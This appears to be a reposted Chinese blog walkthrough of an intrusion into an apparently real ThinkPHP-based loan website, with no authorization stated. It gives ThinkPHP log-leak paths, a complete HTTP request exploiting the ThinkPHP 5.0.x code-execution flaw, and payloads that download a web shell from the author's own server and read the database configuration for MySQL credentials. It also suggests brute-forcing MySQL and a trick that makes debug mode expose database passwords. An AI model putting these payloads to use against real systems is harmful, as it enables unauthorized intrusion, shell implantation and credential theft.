首頁 >php框架 >ThinkPHP >記一個ThinkPHP框架的滲透實戰

記一個ThinkPHP框架的滲透實戰

藏色散人
藏色散人轉載
2022-01-21 16:22:174170瀏覽

下面thinkphp框架教學欄位將分享一個ThinkPHP框架滲透實戰,希望對需要的朋友有幫助!

資訊收集

找到一個網站http://x.x.x.x/ 下面開始對他進行滲透

首先使用nmap對受害伺服器開放的連接埠掃描探測端口

記一個ThinkPHP框架的滲透實戰

可以看到開放的連接埠如下
記一個ThinkPHP框架的滲透實戰

連接埠就是應用程式在電腦通訊中的唯一識別id,透過連接埠我們就能知道受害伺服器開放了什麼服務

如3306是mysql並開啟了外聯,接下來我們對連接埠存取權看看具體開放了什麼服務

8080開放了phpmyadmin一款php連結mysql工具我們可以利用他爆破mysql密碼

記一個ThinkPHP框架的滲透實戰

8082是一個貸款首頁

記一個ThinkPHP框架的滲透實戰

##隨便輸入一個不存在的路由接著查看錯誤訊息如http://x.x.x.x/gfvhf

記一個ThinkPHP框架的滲透實戰

#成功報錯:thinkphp框架的版本是5.1.7(這個版本有註入漏洞)

記一個ThinkPHP框架的滲透實戰

8084是一個後台繼續收集

記一個ThinkPHP框架的滲透實戰

8092是一個後台,因為部署不規範存在thinkphp日誌洩露,路徑http ://x.x.x.x:8092/runtime/log/202112/19.log 可以到裡面查看到管理員登入的帳號密碼。

這裡說一下黑產使用thinkphp框架因為運維半吊子很有可能有thinkphp日誌洩漏

tp5-6 payload: 網域/runtime/log/202112/19.log (

後面的202112/19.log是根據目前日期變化的)

tp3 payload: 網域名稱/Application/Runtime/Logs/Home/21_12_19.log (

後面的21_12_19.log是根據目前日期變更的)

記一個ThinkPHP框架的滲透實戰

8083連接埠使用的thinkphp版本是5.0.15,5.0.15版本的利用條件低挑軟柿子捏就這個吧

記一個ThinkPHP框架的滲透實戰

訊息收集完畢精準打擊

開啟burp,然後使用抓包,然後將資料包轉送到burp的Repeater模組下,將擷取內容替換成如下內容

漏洞原理就不做詳細講解了,沒個php架構層是聽不懂的。簡單描述一下就是一個變數覆蓋造成程式碼執行

thinkphp5漏洞poc可參考https://y4er.com/post/thinkphp5-rce/

下面封包內容是觸發漏洞讓伺服器執行phpinfo()

POST /index.php?s=captcha&echod=phpinfo() HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: pmaCookieVer=5; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; phpMyAdmin=iar4j14536rat57j1d5018qjtt8vj69g
Content-Type:application/x-www-form-urlencoded
Content-Length: 77

_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod
執行成功,可以看到php的一些詳細資訊

記一個ThinkPHP框架的滲透實戰

#下面開始寫入shell將請求頭替換成:

POST /index.php s=captcha&echod=copy('http://x.x.x.x/2.txt','t2.php') HTTP/1.1
意思是將我伺服器上遠端的shell檔案http://x.x.x.x/2.txt下載,寫入到目前web目錄下的t2.php

但我造訪t2.php,出現404猜測應該是目前目錄沒有寫權限

於是嘗試給寫權限:

POST /index.php?s=captcha&echod=chmod('./',0777) HTTP/1.1
發現還是寫不了shell,php權限很低。

將chmod('./',0777) 替換成readfile('../application/database.php')讀取資料庫設定檔。發現成功取得到mysql帳號密碼。

記一個ThinkPHP框架的滲透實戰

使用我們之前發現的phpmyadmin服務登入然後mysql開啟外接

使用mysql管理工具連接,發現一堆資料庫。且mysql直接是root權限,可以對伺服器進行提權(內網橫向滲透)等。反正外網以經開了一個口子,這裡我就不深入了。

記一個ThinkPHP框架的滲透實戰

總結

總結一下我自己摸索出來的一些思路:thinkphp在開啟debug模式下如果伺服器開啟了資料庫外聯,可以透過爆破mysql服務發送大量請求(讓mysql堵塞),讓thinkphp連接mysql逾時就會報連線異常錯誤,並將mysql帳號密碼輸出到頁面上。

推薦學習:《thinkphp影片教學

#

以上是記一個ThinkPHP框架的滲透實戰的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:freebuf.com。如有侵權,請聯絡admin@php.cn刪除